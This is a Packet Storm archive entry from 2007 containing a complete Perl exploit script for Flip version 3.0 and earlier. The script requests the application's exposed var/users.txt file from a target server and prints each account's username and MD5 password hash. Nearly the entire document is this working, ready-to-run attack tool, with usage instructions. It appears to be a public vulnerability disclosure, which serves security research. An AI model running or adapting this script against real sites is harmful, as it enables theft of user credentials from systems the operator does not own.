flip30-pass.txt

2007-09-20T00:00:00
ID PACKETSTORM:59452
Type packetstorm
Reporter undefined1_
Modified 2007-09-20T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
  
use strict;   
use IO::Socket;  
  
my $app = "Flip <= 3.0";  
my $type = "Passwords Hash Disclosure";  
my $author = "undefined1_";  
my $vendor = "http://sourceforge.net/projects/flipsource";  
  
banner();  
my $server = shift || usage();  
my $port = shift || usage();  
  
if($server =~ /http:\/\//)  
{  
$server = substr($server,7);  
}  
  
my $path = "/";  
if(index($server, "/") != -1)  
{  
$path = substr($server, index($server, "/"));  
$server = substr($server, 0, index($server, "/"));  
if(substr($path, length($path)-1) ne "/") {  
$path .= "/";  
}  
}  
  
my $data = get($server, $port, $path."var/users.txt", "");  
fail() unless $data !~ /404 Not Found/;  
my $index1 = index($data, "\r\n\r\n");  
fail() unless $index1 >= 0;  
  
$data = substr($data, $index1+4);  
$index1 = 0;  
printf ("%-20s %-32s\n", "username", "md5 hash");  
while(($index1 = index($data, "\n")) >= 0)  
{   
my $hash = substr($data, 0, 32);  
my $index2 = index($data, "][");  
my $index3 = index($data, "][", $index2+2);  
my $user = "";  
if($index2 >= 0 && $index3 >= 0)  
{  
$user = substr($data, $index2+2, $index3-($index2+2));  
}  
printf ("%-20s %-32s\n", $user, $hash);  
$data = substr($data, $index1+1);  
}  
  
###################  
  
sub get(\$,\$,\$,\$) {  
my $server = shift;  
my $port = shift;  
my $page = shift;  
my $cookies = shift;  
my $query = "GET $page HTTP/1.1\r\n";  
if($port != 80)  
{  
$query .= "Host: $server:$port\r\n";  
}  
else  
{  
$query .= "Host: $server\r\n";  
}  
  
$query .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n";  
$query .= "Connection: close\r\n";  
$query .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";  
$query .= "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3\r\n";  
$query .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";   
  
if(length($cookies))  
{  
$query .= "Cookie: ".$cookies."\r\n";  
}   
  
$query .= "\r\n";  
return sendpacket($server, $port, $query);  
}  
  
  
  
  
  
sub sendpacket(\$,\$,\$) {  
my $server = shift;  
my $port = shift;  
my $query = shift;  
my $sock = IO::Socket::INET->new(Proto => "tcp",   
PeerAddr => $server, PeerPort => $port)   
or die "[-] Could not connect to $server:$port $!\n";  
print $sock $query;  
my $data = "";  
my $answer;  
while($answer = <$sock>)  
{  
$data .= $answer;  
}  
  
close($sock);  
return $data;  
}  
  
  
  
###################  
  
  
  
sub fail() {  
print "[-] exploit failed\n";  
exit;  
}  
  
  
  
sub banner() {  
print ":: Flip <= 3.0 password hash disclosure exploit\n";  
print ":: by undefined1_ @ www.undef1.com\n\n\n";  
}  
  
  
  
sub usage() {  
print "usage : ./flip_pass.pl <target> <port>\n";  
print "example: ./flip_pass.pl www.abcd.com/flip/ 80\n";  
exit;  
}  
  
  
`